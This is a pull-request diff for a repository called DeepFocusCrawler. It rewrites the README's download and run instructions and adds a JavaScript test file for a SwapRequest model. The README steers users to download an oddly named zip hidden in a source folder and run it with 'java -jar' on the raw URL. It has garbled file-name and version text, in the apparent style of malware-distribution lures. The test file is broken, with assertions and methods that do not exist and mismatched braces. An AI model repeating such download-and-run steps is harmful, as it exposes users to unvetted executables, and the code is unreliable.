Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants

## 🔗 Download DeepFocusCrawler

[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)

## 💻 System Requirements

Expand All @@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements:

## 📥 Download & Install

To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)

Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed.

## 🛠️ How to Run DeepFocusCrawler

1. **Locate the Downloaded File:**
After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number).
After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number).

2. **Open Terminal or Command Prompt:**
- **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`.
Expand All @@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow
4. **Run DeepFocusCrawler:**
Type the following command and hit `Enter`:
```
java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip
java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip
```
Replace `X.X` with the version number you downloaded.

Expand Down
137 changes: 137 additions & 0 deletions backend/models/SwapRequest.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
import { SwapRequest } from "../models/SwapRequest";
import mongoose from "mongoose";
import { expect } from "chai";

describe("SwapRequest Model", () => {

beforeEach(async () => {
await mongoose.connect("mongodb://localhost:27017/testdb", {
useNewUrlParser: true,
useUnifiedTopology: true,
});
await mongoose.recreateIndex(); //ensure indexes are fresh.
});

afterEach(async () => {
await mongoose.disconnect();
});



describe("Model Creation", () => {
it("should create a SwapRequest model instance", () => {
const swapRequest = new SwapRequest();
expect(swapRequest).to.be.an("instanceof", SwapRequest);
});
});

describe("Schema Validation", () => {
it("should validate with required fields", async () => {
const swapRequest = new SwapRequest({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});

await expect(swapRequest.validate()).to.pass;

const invalidSwapRequest = new SwapRequest({
fromUser: "",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});
await expect(invalidSwapRequest.validate()).to.fail(err => {
expect(err.message).to.include("fromUser is required");
});
});

it("should validate fields with correct types", async () => {
const validSwapRequest = new SwapRequest({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});
await expect(validSwapRequest.validate()).to.pass;
});

it("should validate status field", async () => {
const swapRequest = new SwapRequest({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
status: "active",
});
await expect(swapRequest.validate()).to.pass;

const invalidSwapRequest = new SwapRequest({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
status: "inactive"
});
await expect(invalidSwapRequest.validate()).to.fail(err => {
expect(err.message).to.include("status must be one of 'pending'");
});
});
});
});

describe("Model Methods", () => {
it("should have the correct model name", () => {
expect(SwapRequest.modelName).to.equal("SwapRequest");
});

it("should correctly save a SwapRequest", async () => {
const swapRequest = new SwapRequest({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});

await swapRequest.save();

const savedSwapRequest = await SwapRequest.findOne({ fromUser: "user1", toUser: "user2" });
expect(savedSwapRequest).to.exist;
expect(savedSwapRequest.fromUser).to.equal("user1");
expect(savedSwapRequest.toUser).to.equal("user2");
expect(savedSwapRequest.offeredSkill).to.equal("skill1");
expect(savedSwapRequest.requestedSkill).to.equal("skill2");
expect(savedSwapRequest.status).to.equal("pending");
});

it("should correctly update a SwapRequest", async () => {
const swapRequest = await SwapRequest.create({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});

await swapRequest.updateOne({ _id: swapRequest._id }, { status: "accepted" });

const updatedSwapRequest = await SwapRequest.findOne({ _id: swapRequest._id });
expect(updatedSwapRequest).to.exist;
expect(updatedSwapRequest.status).to.equal("accepted");
});

it("should correctly find a SwapRequest by user", async () => {
const swapRequest = await SwapRequest.create({
fromUser: "user1",
toUser: "user2",
offeredSkill: "skill1",
requestedSkill: "skill2",
});

const foundSwapRequest = await SwapRequest.findOne({ fromUser: "user1" });

expect(foundSwapRequest).to.exist;
expect(foundSwapRequest.fromUser).to.equal("user1");
});
});
});